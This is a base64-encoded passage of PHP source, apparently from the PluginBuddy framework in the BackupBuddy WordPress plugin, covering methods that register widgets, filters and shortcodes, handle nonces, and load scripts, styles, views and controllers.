JCWlmICggISBpc19vYmplY3QoIHNlbGY6OiRfZGFzaGJvYXJkICkgKSB7CgkJCXNlbGY6OiRfZGFzaGJvYXJkX3dpZGdldHMgPSBhcnJheSgpOyAvLyBJbml0IHZhcmlhYmxlLgoKCQkJc2VsZjo6X2luaXRfY29yZV9jb250cm9sbGVyKCAnZGFzaGJvYXJkJyApOwoKCQkJaWYgKCBpc19uZXR3b3JrX2FkbWluKCkgKSB7IC8vIE5ldHdvcmsgYWRtaW4uCgkJCQlhZGRfYWN0aW9uKCAnd3BfbmV0d29ya19kYXNoYm9hcmRfc2V0dXAnLCBhcnJheSggJnNlbGY6OiRfZGFzaGJvYXJkLCAncmVnaXN0ZXJfd2lkZ2V0cycgKSApOwoJCQl9IGVsc2UgeyAvLyBOb3JtYWwgYWRtaW4uCgkJCQlhZGRfYWN0aW9uKCAnd3BfZGFzaGJvYXJkX3NldHVwJywgYXJyYXkoICZzZWxmOjokX2Rhc2hib2FyZCwgJ3JlZ2lzdGVyX3dpZGdldHMnICkgKTsKCQkJfQoJCX0KCQlzZWxmOjokX2Rhc2hib2FyZF93aWRnZXRzW10gPSBhcnJheSgKCQkJJ3RhZycgICAgICAgID0+ICR0YWcsCgkJCSd0aXRsZScgICAgICA9PiAkdGl0bGUsCgkJCSdjYXBhYmlsaXR5JyA9PiAkY2FwYWJpbGl0eSwKCQkJJ2ZvcmNlX3RvcCcgID0+ICRmb3JjZV90b3AsCgkJKTsgLy8gUHVzaCBpbnRvIGFycmF5IHRvIGJlIGxhdGVyIHJlZ2lzdGVyZWQgdmlhIGRhc2hib2FyZCBjb250cm9sbGVyJ3MgcmVnaXN0ZXJfd2lkZ2V0cyBmdW5jdGlvbi4KCX0gLy8gRW5kIGFkZF9kYXNoYm9hcmRfd2lkZ2V0KCkuCgoJLyoqCgkgKiBSZWdpc3RlcnMgYSBXb3JkUHJlc3MgZmlsdGVyLiBGaWx0ZXIgb2YgdGhlIG5hbWUgJHRhZyB3aWxsIGNhbGwgdGhlIG1ldGhvZCBpbiAvY29udHJvbGxlcnMvZmlsdGVycy5waHAgd2l0aCB0aGUgbWF0Y2hpbmcgbmFtZS4KCSAqCgkgKiBAcGFyYW0gc3RyaW5nL2FycmF5ICR0YWcgICAgICAgICAgICBUYWcgLyBzbHVnIGZvciB0aGUgYWN0aW9uLiBJZiBhbiBhcnJheSB0aGUgZmlyc3QgaXRlbSBpcyB0aGUgdGFnLCB0aGUgc2Vjb25kIGlzIGFuIG9wdGlvbmFsIGN1c3RvbSBjYWxsYmFjayBtZXRob2QgbmFtZS4KCSAqIEBwYXJhbSBpbnQgICAgICAgICAgJHByaW9yaXR5ICAgICAgIEludGVnZXIgcHJpb3JpdHkgbnVtYmVyIGZvciB0aGUgZmlsdGVyLgoJICogQHBhcmFtIGludCAgICAgICAgICAkYWNjZXB0ZWRfYXJncyAgTnVtYmVyIG9mIGFyZ3VtZW50cyB0aGlzIGZpbHRlciBtYXkgYWNjZXB0IGluIGl0cyBtZXRob2QuCgkgKi8KCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gYWRkX2ZpbHRlciggJHRhZywgJHByaW9yaXR5ID0gMTAsICRhY2NlcHRlZF9hcmdzID0gMSApIHsKCQlpZiAoICEgaXNfb2JqZWN0KCBzZWxmOjokX2ZpbHRlcnMgKSApIHsKCQkJc2VsZjo6X2luaXRfY29yZV9jb250cm9sbGVyKCAnZmlsdGVycycgKTsgfQoJCWlmICggaXNfYXJyYXkoICR0YWcgKSApIHsgLy8gSWYgYXJyYXkgdGhlbiBmaXJzdCBwYXJhbSBpcyB0YWcsIHNlY29uZCBwYXJhbSBpcyBjdXN0b20gY2FsbGJhY2sgbWV0aG9kIG5hbWUuCgkJCSRjYWxsYmFja19tZXRob2QgPSAkdGFnWzFdOwoJCQkkdGFnICAgICAgICAgICAgID0gJHRhZ1swXTsKCQl9IGVsc2UgeyAvLyBObyBjdXN0b20gbWV0aG9kIG5hbWUgc28gdGFnIGFuZCBjYWxsYmFjayBtZXRob2QgbmFtZSBhcmUgdGhlIHNhbWUuCgkJCSRjYWxsYmFja19tZXRob2QgPSAkdGFnOwoJCQlpZiAoIHN0cnBvcyggJHRhZywgJy4nICkgIT09IGZhbHNlICkgewoJCQkJZWNobyAne1dhcm5pbmc6IFlvdXIgdGFnIGNvbnRhaW5zIGRpc2FsbG93ZWQgY2hhcmFjdGVycy4gVGFnIG5hbWVzIGFyZSBlcXVhbCB0byB0aGUgUEhQIG1ldGhvZCB0aGF0IGlzIGNhbGxlZCBiYWNrIHNvIHRoZXkgbXVzdCBjb25mb3JtIHRvIFBIUCBtZXRob2QgbmFtZSBzdGFuZGFyZHMuIEZvciBjdXN0b20gY2FsbGJhY2sgbWV0aG9kIG5hbWVzIHVzZSBhbiBhcnJheSBmb3IgdGhlIHRhZyBwYXJhbWV0ZXIgaW4gdGhlIGZvcm06IGFycmF5KCBcJ3RhZ1wnLCBcJ2NhbGxiYWNrX25hbWVcJyApLn0nOwoJCQl9CgkJfQoJCWFkZF9maWx0ZXIoICR0YWcsIGFycmF5KCAmc2VsZjo6JF9maWx0ZXJzLCAkY2FsbGJhY2tfbWV0aG9kICksICRwcmlvcml0eSwgJGFjY2VwdGVkX2FyZ3MgKTsKCX0gLy8gRW5kIGFkZF9maWx0ZXIoKS4KCgkvKioKCSAqIFJlZ2lzdGVycyBhIFdvcmRQcmVzcyBzaG9ydGNvZGUuIFNob3J0Y29kZSBvZiB0aGUgbmFtZSAkdGFnIHdpbGwgY2FsbCB0aGUgbWV0aG9kIGluIC9jb250cm9sbGVycy9zaG9ydGNvZGVzLnBocCB3aXRoIHRoZSBtYXRjaGluZyBuYW1lLgoJICoKCSAqIEBwYXJhbSBzdHJpbmcvYXJyYXkgJHRhZyAgVGFnIC8gc2x1ZyBmb3IgdGhlIHNob3J0Y29kZS4gSWYgYW4gYXJyYXkgdGhlIGZpcnN0IGl0ZW0gaXMgdGhlIHRhZywgdGhlIHNlY29uZCBpcyBhbiBvcHRpb25hbCBjdXN0b20gY2FsbGJhY2sgbWV0aG9kIG5hbWUuCgkgKi8KCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gYWRkX3Nob3J0Y29kZSggJHRhZyApIHsKCQlpZiAoICEgaXNfb2JqZWN0KCBzZWxmOjokX3Nob3J0Y29kZXMgKSApIHsKCQkJc2VsZjo6X2luaXRfY29yZV9jb250cm9sbGVyKCAnc2hvcnRjb2RlcycgKTsgfQoJCWlmICggaXNfYXJyYXkoICR0YWcgKSApIHsgLy8gSWYgYXJyYXkgdGhlbiBmaXJzdCBwYXJhbSBpcyB0YWcsIHNlY29uZCBwYXJhbSBpcyBjdXN0b20gY2FsbGJhY2sgbWV0aG9kIG5hbWUuCgkJCSRjYWxsYmFja19tZXRob2QgPSAkdGFnWzFdOwoJCQkkdGFnICAgICAgICAgICAgID0gJHRhZ1swXTsKCQl9IGVsc2UgeyAvLyBObyBjdXN0b20gbWV0aG9kIG5hbWUgc28gdGFnIGFuZCBjYWxsYmFjayBtZXRob2QgbmFtZSBhcmUgdGhlIHNhbWUuCgkJCSRjYWxsYmFja19tZXRob2QgPSAkdGFnOwoJCQlpZiAoIHN0cnBvcyggJHRhZywgJy4nICkgIT09IGZhbHNlICkgewoJCQkJZWNobyAne1dhcm5pbmc6IFlvdXIgdGFnIGNvbnRhaW5zIGRpc2FsbG93ZWQgY2hhcmFjdGVycy4gVGFnIG5hbWVzIGFyZSBlcXVhbCB0byB0aGUgUEhQIG1ldGhvZCB0aGF0IGlzIGNhbGxlZCBiYWNrIHNvIHRoZXkgbXVzdCBjb25mb3JtIHRvIFBIUCBtZXRob2QgbmFtZSBzdGFuZGFyZHMuIEZvciBjdXN0b20gY2FsbGJhY2sgbWV0aG9kIG5hbWVzIHVzZSBhbiBhcnJheSBmb3IgdGhlIHRhZyBwYXJhbWV0ZXIgaW4gdGhlIGZvcm06IGFycmF5KCBcJ3RhZ1wnLCBcJ2NhbGxiYWNrX25hbWVcJyApLn0nOwoJCQl9CgkJfQoJCWFkZF9zaG9ydGNvZGUoICR0YWcsIGFycmF5KCAmc2VsZjo6JF9zaG9ydGNvZGVzLCAkY2FsbGJhY2tfbWV0aG9kICkgKTsKCX0gLy8gRW5kIGFkZF9zaG9ydGNvZGUoKS4KCgkvKioKCSAqIFJlZ2lzdGVycyB0aGUgVUkgY2xhc3MgaW50byB0aGUgcGx1Z2luYnVkZHkgZnJhbWV3b3JrIGZvciBwYWdlcy4gUmVnaXN0ZXJlZCBvbiBkZW1hbmQgYnkgcGFnZXMgY29udHJvbGxlci4KCSAqCgkgKiBAc2VlIHBhZ2VzIGNvbnRyb2xsZXIKCSAqCgkgKiBAcGFyYW0gc3RyaW5nICRjbGFzc19zbHVnICBTbHVnIG9mIGNsYXNzLgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGluaXRfY2xhc3NfY29udHJvbGxlciggJGNsYXNzX3NsdWcgKSB7CgkJaWYgKCAhIGlzX29iamVjdCggc2VsZjo6JCRjbGFzc19zbHVnICkgKSB7CgkJCSRjbGFzc19maWxlID0gc2VsZjo6cGx1Z2luX3BhdGgoKSAuICcvcGx1Z2luYnVkZHkvY2xhc3Nlcy8nIC4gJGNsYXNzX3NsdWcgLiAnLnBocCc7CgkJCWlmICggZmlsZV9leGlzdHMoICRjbGFzc19maWxlICkgKSB7CgkJCQlyZXF1aXJlX29uY2UgJGNsYXNzX2ZpbGU7CgkJCQkkY2xhc3NfbmFtZSAgICAgICAgPSAncGJfJyAuIHNlbGY6OnNldHRpbmdzKCAnc2x1ZycgKSAuICdfJyAuICRjbGFzc19zbHVnOwoJCQkJc2VsZjo6JCRjbGFzc19zbHVnID0gbmV3ICRjbGFzc19uYW1lKCk7CgkJCX0gZWxzZSB7CgkJCQllY2hvICd7RXJyb3I6IE1pc3NpbmcgY2xhc3MgY29udHJvbGxlciBmaWxlIGAnIC4gJGNsYXNzX2ZpbGUgLiAnYC59JzsKCQkJfQoJCX0KCX0KCgkvKioKCSAqIEluaXRpYWxpemUgYSBjb3JlIGNvbnRyb2xsZXIgY2xhc3MgKGV4OiBwYWdlcywgYWpheCwgZmlsdGVycywgZXRjKSBmb3IgcGx1Z2luYnVkZHkgZnJhbWV3b3JrIHVzYWdlLgoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJG5hbWUgIE5hbWUgb2YgdGhlIGNvbnRyb2xsZXIgdG8gcmVnaXN0ZXIuIFZhbGlkIGNvbnRyb2xsZXJzOiBhY3Rpb25zLCBhamF4LCBjcm9uLCBkYXNoYm9hcmQsIGZpbHRlcnMsIHNob3J0Y29kZXMsIHBhZ2VzLgoJICovCglwcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBfaW5pdF9jb3JlX2NvbnRyb2xsZXIoICRuYW1lICkgewoJCWlmICggISBpc19hcnJheSggc2VsZjo6JG9wdGlvbnMgKSApIHsKCQkJc2VsZjo6bG9hZCgpOwoJCX0gLy8gQXNzdW1lIHdlIG5lZWQgcGx1Z2luIG9wdGlvbnMgbmVlZCBsb2FkZWQgaWYgY29udHJvbGxlcnMgYXJlIGxvYWRlZCBmb3IgdGhpcyBzZXNzaW9uLgoKCQlyZXF1aXJlX29uY2Ugc2VsZjo6JF9wbHVnaW5fcGF0aCAuICcvY29udHJvbGxlcnMvJyAuICRuYW1lIC4gJy5waHAnOwoJCSRjbGFzc25hbWUgICAgICAgICAgICAgICAgID0gJ3BiX2JhY2t1cGJ1ZGR5XycgLiAkbmFtZTsKCQkkaW50ZXJuYWxfY2xhc3NuYW1lICAgICAgICA9ICdfJyAuICRuYW1lOwoJCXNlbGY6OiQkaW50ZXJuYWxfY2xhc3NuYW1lID0gbmV3ICRjbGFzc25hbWUoKTsKCX0gLy8gRW5kIF9pbml0X2NvcmVfY29udHJvbGxlcigpLgoKCS8qKgoJICogRWNob3Mgb3IgcmV0dXJucyBhIFdvcmRQcmVzcyBub25jZSBmb3IgdGhlIGZyYW1ld29yay4gSGFuZGxlcyBwcmVmaXhpbmcuIFVzZSB3aXRoIGZvcm1zIGZvciBzZWN1cml0eS4gVmVyaWZpZXMgdGhlIHVzZXIgY2FtZSBmcm9tIGEgV1AgZ2VuZXJhdGVkIHBhZ2UuCgkgKgoJICogQHBhcmFtIGJvb2wgJGVjaG8gVHJ1ZTogZWNob3MgdGhlIG5vbmU7IGZhbHNlOiByZXR1cm5zIG5vbmNlLgoJICoKCSAqIEByZXR1cm4gbnVsbC9zdHJpbmcgIHdwX25vbmNlX2ZpZWxkKCkKCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBub25jZSggJGVjaG8gPSB0cnVlICkgewoJCSRuYW1lICAgICAgICA9ICdfd3Bub25jZSc7CgkJJG5vbmNlX2ZpZWxkID0gd3Bfbm9uY2VfZmllbGQoICdwYl8nIC4gc2VsZjo6c2V0dGluZ3MoICduYW1lJyApIC4gJy1ub25jZScsICRuYW1lLCB0cnVlLCBmYWxzZSApOwoJCSRub25jZV9pZCAgICA9ICRuYW1lIC4gJ18nIC4gdW5pcWlkKCk7CgkJJG5vbmNlX2ZpZWxkID0gc3RyX3JlcGxhY2UoIGFycmF5KCAnIGlkPSInIC4gJG5hbWUsICcgaWQ9XCcnIC4gJG5hbWUgKSwgYXJyYXkoICcgaWQ9IicgLiAkbm9uY2VfaWQsICcgaWQ9XCcnIC4gJG5vbmNlX2lkICksICRub25jZV9maWVsZCApOwoJCWlmICggZmFsc2UgPT09ICRlY2hvICkgewoJCQlyZXR1cm4gJG5vbmNlX2ZpZWxkOwoJCX0KCQllY2hvICRub25jZV9maWVsZDsKCX0gLy8gRW5kIG5vbmNlKCkuCgoJLyoqCgkgKiBXb3JkUHJlc3Mgbm9uY2UgZm9yIFVSTHMuIEhhbmRsZXMgcHJlZml4aW5nLiBVc2Ugd2l0aCBVUkxzIGZvciBzZWN1cml0eS4gVmVyaWZpZXMgdGhlIHVzZXIgY2FtZSBmcm9tIGEgV1AgZ2VuZXJhdGVkIHBhZ2UuCgkgKgoJICogQHBhcmFtIHN0cmluZyAkYmFyZV91cmwgIFVSTCB0byBub25jZS4KCSAqCgkgKiBAcmV0dXJuIHN0cmluZyB3cF9ub25jZV91cmwoKQoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIG5vbmNlX3VybCggJGJhcmVfdXJsICkgewoJCXJldHVybiB3cF9ub25jZV91cmwoICRiYXJlX3VybCwgJ3BiXycgLiBzZWxmOjpzZXR0aW5ncyggJ25hbWUnICkgLiAnLW5vbmNlJyApOwoJfQoKCS8qKgoJICogVmVyaWZpZXMgdGhlIG5vbmNlIHN1Ym1pdHRlZCBpbiBmb3JtLgoJICogU2NyaXB0IGRpZSgpJ3Mgb24gZmFpbHVyZQoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHZlcmlmeV9ub25jZSgpIHsKCQljaGVja19hZG1pbl9yZWZlcmVyKCAncGJfJyAuIHNlbGY6OnNldHRpbmdzKCAnbmFtZScgKSAuICctbm9uY2UnICk7Cgl9IC8vIEVuZCB2ZXJpZnlfbm9uY2UoKS4KCgkvKioKCSAqIExvYWQgYSBKYXZhU2NyaXB0IGZpbGUgaW50byB0aGUgcGFnZS4gSGFuZGxlcyBwcmVmaXhlZCwgZW5xdWV1aW5nLCBldGMuCgkgKgoJICogQHBhcmFtIHN0cmluZyAkc2NyaXB0ICAgICAgIElmIGEgLmpzIGZpbGUgaXMgaW5jbHVkZWQgdGhlbiBhIGZpbGUgaW4gdGhlIGpzIGRpcmVjdG9yeSBpcyBsb2FkZWQ7IGVsc2UgbG9hZHMgYSBidWlsdC1pbiBuYW1lZCBsaWJyYXJ5IHNjcmlwdC4KCSAqICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFeDogbG9hZF9zY3JpcHQoICdzb3J0LmpzJyApIHdpbGwgbG9hZCAvd3AtY29udGVudC9wbHVnaW5zL215X3BsdWdpbi9qcy9zb3J0LmpzOwoJICogICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxvYWRfc2NyaXB0KCAnanF1ZXJ5JyApIHdpbGwgbG9hZCBpbnRlcm5hbCBqcXVlcnkgbGlicmFyeSBpbiBXb3JkUHJlc3MgaWYgaXQgZXhpc3RzLgoJICogQHBhcmFtIGJvb2wgICAkY29yZV9zY3JpcHQgIElmIHRydWUgc2NyaXB0cyBhcmUgbG9hZGVkIGZyb20gL3BsdWdpbmJ1ZGR5L2pzL1NDUklQVC5qcy4gRWxzZSBzY3JpcHRzIGxvYWRlZCBmcm9tIHBsdWdpbidzIGpzIGRpcmVjdG9yeS4KCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBsb2FkX3NjcmlwdCggJHNjcmlwdCwgJGNvcmVfc2NyaXB0ID0gZmFsc2UgKSB7CgkJaWYgKCBzdHJzdHIoICRzY3JpcHQsICcuanMnICkgKSB7IC8vIExvYWRpbmcgYSBmaWxlIHNwZWNpZmljYWxseS4KCQkJaWYgKCB0cnVlID09PSAkY29yZV9zY3JpcHQgKSB7CgkJCQlpZiAoIHBiX2lzX3N0YW5kYWxvbmUoKSApIHsKCQkJCQkkdXJsX3BhdGggPSAnaW1wb3J0YnVkZHkvcGx1Z2luYnVkZHkvanMvJzsKCQkJCX0gZWxzZSB7CgkJCQkJJHVybF9wYXRoID0gc2VsZjo6JF9wbHVnaW5fdXJsIC4gJy9wbHVnaW5idWRkeS9qcy8nOwoJCQkJfQoJCQkJJGxvY2FsX3BhdGggID0gc2VsZjo6JF9wbHVnaW5fcGF0aCAuICcvcGx1Z2luYnVkZHkvanMvJzsKCQkJCSRzY3JpcHRfbmFtZSA9ICdwYl8nIC4gc2VsZjo6c2V0dGluZ3MoICdzbHVnJyApIC4gJ19jb3JlXycgLiAkc2NyaXB0OwoJCQl9IGVsc2UgewoJCQkJaWYgKCBwYl9pc19zdGFuZGFsb25lKCkgKSB7CgkJCQkJJHVybF9wYXRoID0gJ2ltcG9ydGJ1ZGR5L2pzLyc7CgkJCQl9IGVsc2UgewoJCQkJCSR1cmxfcGF0aCA9IHNlbGY6OiRfcGx1Z2luX3VybCAuICcvanMvJzsKCQkJCX0KCQkJCSRsb2NhbF9wYXRoICA9IHNlbGY6OiRfcGx1Z2luX3BhdGggLiAnL2pzLyc7CgkJCQkkc2NyaXB0X25hbWUgPSAncGJfJyAuIHNlbGY6OnNldHRpbmdzKCAnc2x1ZycgKSAuICdfJyAuICRzY3JpcHQ7CgkJCX0KCgkJCWlmICggISB3cF9zY3JpcHRfaXMoICRzY3JpcHRfbmFtZSApICkgeyAvLyBPbmx5IGxvYWQgc2NyaXB0IG9uY2UuCgkJCQlpZiAoIGZpbGVfZXhpc3RzKCAkbG9jYWxfcGF0aCAuICRzY3JpcHQgKSApIHsgLy8gTG9hZCBvdXIgbG9jYWwgc2NyaXB0IGlmIGZpbGUgZXhpc3RzLgoJCQkJCXdwX2VucXVldWVfc2NyaXB0KCAkc2NyaXB0X25hbWUsICR1cmxfcGF0aCAuICRzY3JpcHQsIGFycmF5KCksIHBiX2JhY2t1cGJ1ZGR5OjpzZXR0aW5ncyggJ3ZlcnNpb24nICkgKTsKCQkJCQl3cF9wcmludF9zY3JpcHRzKCAkc2NyaXB0X25hbWUgKTsKCQkJCX0gZWxzZSB7CgkJCQkJZWNobyAne0Vycm9yOiBKYXZhc2NyaXB0IGZpbGUgd2FzIHNldCB0byBsb2FkIHRoYXQgZGlkIG5vdCBleGlzdDogYCcgLiAkdXJsX3BhdGggLiAkc2NyaXB0IC4gJ2B9JzsKCQkJCX0KCQkJfQoJCX0gZWxzZSB7IC8vIE5vdCBhIHNwZWNpZmljIGZpbGUuCgkJCWlmICggISB3cF9zY3JpcHRfaXMoICRzY3JpcHQsICdkb25lJyApICkgeyAvLyBPbmx5IFBSSU5UIHNjcmlwdCBvbmNlLiBDaGVja3MgdGhlIGRvbmUgd3BzY3JpcHQgbGlzdCB0byBzZWUgaWYgaXQncyBiZWVuIHByaW50ZWQgeWV0IG9yIG5vdC4KCQkJCXdwX2VucXVldWVfc2NyaXB0KCAkc2NyaXB0ICk7CgkJCQl3cF9wcmludF9zY3JpcHRzKCAkc2NyaXB0ICk7CgkJCX0KCQl9Cgl9IC8vIEVuZCBsb2FkX3NjcmlwdCgpLgoKCS8qKgoJICogTG9hZCBhIENTUyBmaWxlIGludG8gdGhlIHBhZ2UuIEhhbmRsZXMgcHJlZml4ZWQsIGVucXVldWluZywgZXRjLgoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJHN0eWxlICAgICAgIElmIGEgLmNzcyBmaWxlIGlzIGluY2x1ZGVkIHRoZW4gYSBmaWxlIGluIHRoZSBjc3MgZGlyZWN0b3J5IGlzIGxvYWRlZDsgZWxzZSBsb2FkcyBhIGJ1aWx0LWluIG5hbWVkIGxpYnJhcnkgc3R5bGUuCgkgKiAgICAgICAgICAgICAgICAgICAgICAgICAgICBFeDogbG9hZF9zdHlsZSggJ3NvcnQuY3NzJyApIHdpbGwgbG9hZCAvd3AtY29udGVudC9wbHVnaW5zL215X3BsdWdpbi9jc3Mvc29ydC5jc3M7CgkgKiAgICAgICAgICAgICAgICAgICAgICAgICAgICBsb2FkX3N0eWxlKCAnZGFzaGJvYXJkJyApIHdpbGwgbG9hZCBpbnRlcm5hbCBkYXNoYm9hcmQgY3NzIGluIFdvcmRQcmVzcyBpZiBpdCBleGlzdHMuCgkgKiBAcGFyYW0gYm9vbCAgICRjb3JlX3N0eWxlICBJZiB0cnVlIHN0eWxlcyBhcmUgbG9hZGVkIGZyb20gL3BsdWdpbmJ1ZGR5L2Nzcy9TVFlMRS5jc3MuIEVsc2Ugc3R5bGVzIGxvYWRlZCBmcm9tIHBsdWdpbidzIGNzcyBkaXJlY3RvcnkuCgkgKi8KCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gbG9hZF9zdHlsZSggJHN0eWxlLCAkY29yZV9zdHlsZSA9IGZhbHNlICkgewoJCWlmICggc3Ryc3RyKCAkc3R5bGUsICcuY3NzJyApICkgeyAvLyBMb2FkaW5nIGEgZmlsZSBzcGVjaWZpY2FsbHkuCgkJCWlmICggdHJ1ZSA9PT0gJGNvcmVfc3R5bGUgKSB7CgkJCQlpZiAoIHBiX2lzX3N0YW5kYWxvbmUoKSApIHsKCQkJCQkkdXJsX3BhdGggPSAnaW1wb3J0YnVkZHkvcGx1Z2luYnVkZHkvY3NzLyc7CgkJCQl9IGVsc2UgewoJCQkJCSR1cmxfcGF0aCA9IHNlbGY6OiRfcGx1Z2luX3VybCAuICcvcGx1Z2luYnVkZHkvY3NzLyc7CgkJCQl9CgkJCQkkbG9jYWxfcGF0aCA9IHNlbGY6OiRfcGx1Z2luX3BhdGggLiAnL3BsdWdpbmJ1ZGR5L2Nzcy8nOwoJCQkJJGNvcmVfdHlwZSAgPSAnY29yZSc7CgkJCX0gZWxzZSB7CgkJCQlpZiAoIHBiX2lzX3N0YW5kYWxvbmUoKSApIHsKCQkJCQkkdXJsX3BhdGggPSAnaW1wb3J0YnVkZHkvY3NzLyc7CgkJCQl9IGVsc2UgewoJCQkJCSR1cmxfcGF0aCA9IHNlbGY6OiRfcGx1Z2luX3VybCAuICcvY3NzLyc7CgkJCQl9CgkJCQkkbG9jYWxfcGF0aCA9IHNlbGY6OiRfcGx1Z2luX3BhdGggLiAnL2Nzcy8nOwoJCQkJJGNvcmVfdHlwZSAgPSAnbm9uY29yZSc7CgkJCX0KCQkJJHN0eWxlX25hbWUgPSAncGJfJyAuIHNlbGY6OnNldHRpbmdzKCAnc2x1ZycgKSAuICdfJyAuICRjb3JlX3R5cGUgLiAnXycgLiAkc3R5bGU7CgkJCWlmICggISB3cF9zdHlsZV9pcyggJHN0eWxlX25hbWUgKSApIHsgLy8gT25seSBsb2FkIHN0eWxlIG9uY2UuCgkJCQlpZiAoIGZpbGVfZXhpc3RzKCAkbG9jYWxfcGF0aCAuICRzdHlsZSApICkgeyAvLyBMb2FkIG91ciBsb2NhbCBzdHlsZSBpZiBmaWxlIGV4aXN0cy4KCQkJCQl3cF9lbnF1ZXVlX3N0eWxlKCAkc3R5bGVfbmFtZSwgJHVybF9wYXRoIC4gJHN0eWxlLCBhcnJheSgpLCBwYl9iYWNrdXBidWRkeTo6c2V0dGluZ3MoICd2ZXJzaW9uJyApICk7CgkJCQkJd3BfcHJpbnRfc3R5bGVzKCAkc3R5bGVfbmFtZSApOwoJCQkJfSBlbHNlIHsKCQkJCQllY2hvICd7RXJyb3I6IENTUyBmaWxlIHdhcyBzZXQgdG8gbG9hZCB0aGF0IGRpZCBub3QgZXhpc3Q6IGAnIC4gJHVybF9wYXRoIC4gJHN0eWxlIC4gJ2B9JzsKCQkJCX0KCQkJfQoJCX0gZWxzZSB7IC8vIE5vdCBhIHNwZWNpZmljIGZpbGUuCgkJCWlmICggISB3cF9zdHlsZV9pcyggJHN0eWxlICkgKSB7IC8vIE9ubHkgbG9hZCBzdHlsZSBvbmNlLgoJCQkJd3BfZW5xdWV1ZV9zdHlsZSggJHN0eWxlICk7CgkJCQl3cF9wcmludF9zdHlsZXMoICRzdHlsZSApOwoJCQl9CgkJfQoJfSAvLyBFbmQgbG9hZF9zdHlsZSgpLgoKCS8qKgoJICogTG9hZHMgYSB2aWV3LiBUeXBpY2FsbHkgY2FsbGVkIGZyb20gd2l0aGluIGEgY29udHJvbGxlci4gRGF0YSBwYXNzZWQgYXMgc2Vjb25kIGFyZ3VtZW50IHdpbGwgaGFzIGV4dHJhY3QoKSByYW4gb24gaXQgd2l0aGluIHRoZSB2aWV3IGZvciBlYXN5IHZhcmlhYmxlIGFjY2Vzcy4KCSAqCgkgKiBAcGFyYW0gc3RyaW5nICR2aWV3X25hbWUgICAgICAgICBOYW1lIG9mIHZpZXcuIENvcnJlc3BvbmRzIHRvIHRoZSB2aWV3IGZpbGVuYW1lOiAvdmlld3Mvdmlld19uYW1lLnBocC4KCSAqIEBwYXJhbSBhcnJheSAgJHBsdWdpbmJ1ZGR5X2RhdGEgIEFycmF5IG9mIHZhcmlhYmxlcyB0byBiZSBleHRyYWN0ZWQgZm9yIHVzZSBieSB0aGUgdmlldy4KCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBsb2FkX3ZpZXcoICR2aWV3X25hbWUsICRwbHVnaW5idWRkeV9kYXRhID0gYXJyYXkoKSApIHsKCQkvLyBWYXJpYWJsZSBuYW1lZCB0aGlzIHdheSBhcyB0aGUgaW5jbHVkZWQgZmlsZSBpbmhlcml0cyB0aGlzIHZhcmlhYmxlIGFuZCB3ZSBkb24ndCB3YW50IGFuIGFjY2lkZW50YWwgY29sbGlzaW9uLgoJCSRwbHVnaW5idWRkeV92aWV3X2ZpbGUgPSBzZWxmOjokX3BsdWdpbl9wYXRoIC4gJy92aWV3cy8nIC4gJHZpZXdfbmFtZSAuICcucGhwJzsKCQlpZiAoIGZpbGVfZXhpc3RzKCAkcGx1Z2luYnVkZHlfdmlld19maWxlICkgKSB7CgkJCXVuc2V0KCAkdmlld19uYW1lICk7CgkJCWlmICggaXNfYXJyYXkoICRwbHVnaW5idWRkeV9kYXRhICkgKSB7CgkJCQlleHRyYWN0KCAkcGx1Z2luYnVkZHlfZGF0YSApOwoJCQl9IGVsc2UgewoJCQkJZWNobyAne1dhcm5pbmc6IERhdGEgcGFyYW1ldGVyIHBhc3NlZCB0byB2aWV3IHdhcyBub3QgYW4gYXJyYXkufSc7CgkJCX0KCQkJcmVxdWlyZSAkcGx1Z2luYnVkZHlfdmlld19maWxlOwoJCX0gZWxzZSB7CgkJCWVjaG8gJ3tJTlZBTElEIFZJRVc6IGAnIC4gJHZpZXdfbmFtZSAuICdgOyBmaWxlIG5vdCBmb3VuZC59JzsKCQl9Cgl9IC8vIEVuZCBsb2FkX3ZpZXcoKS4KCgkvKioKCSAqIExvYWRzIGEgY29udHJvbGxlci4gQ29udHJvbGxlcnMgbWF5IGxvYWQgY29udHJvbGxlcnMuIENvbnRyb2xsZXIgdXNlcyByZXF1aXJlX29uY2UgdG8gYXZvaWQgcHJvYmxlbXMuCgkgKgoJICogQHBhcmFtIHN0cmluZyAkY29udHJvbGxlciAgTmFtZSBvZiBjb250cm9sbGVyLiBDb3JyZXNwb25kcyB0byB0aGUgY29udHJvbGxlciBmaWxlbmFtZTogL2NvbnRyb2xsZXJzL2NvbnRyb2xsZXJfbmFtZS5waHAuCgkgKi8KCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gbG9hZF9jb250cm9sbGVyKCAkY29udHJvbGxlciApIHsKCQkvLyBVc2luZyB0aGlzIG1ldGhvZCBzbyBsb2FkX2NvbnRyb2xsZXIoKSBtYXkgYmUgdXNlZCBhbnl3aGVyZS4KCQlpZiAoIGZpbGVfZXhpc3RzKCBzZWxmOjpwbHVnaW5fcGF0aCgpIC4gJy9jb250cm9sbGVycy8nIC4gJGNvbnRyb2xsZXIgLiAnLnBocCcgKSApIHsKCQkJcmVxdWlyZV9vbmNlIHNlbGY6OnBsdWdpbl9wYXRoKCkgLiAnL2NvbnRyb2xsZXJzLycgLiAkY29udHJvbGxlciAuICcucGhwJzsKCQl9IGVsc2UgewoJCQllY2hvICd7RXJyb3I6IFVuYWJsZSB0byBsb2FkIHBhZ2UgY29udHJvbGxlciBgJyAuICRjb250cm9sbGVyIC4gJ2A7IGZpbGUgbm90IGZvdW5kLn0nOwoJCX0KCX0gLy8gRW5kIGxvYWRfY29udHJvbGxlcigpLgoKCS8qKgoJICogUmVnaXN0ZXJzIGEgd2lkZ2V0LiBXaWxsIHJlZ2lzdGVyIHdpZGdldCBjbGFzcyBpbiAvY29udHJvbGxlcnMvd2lkZ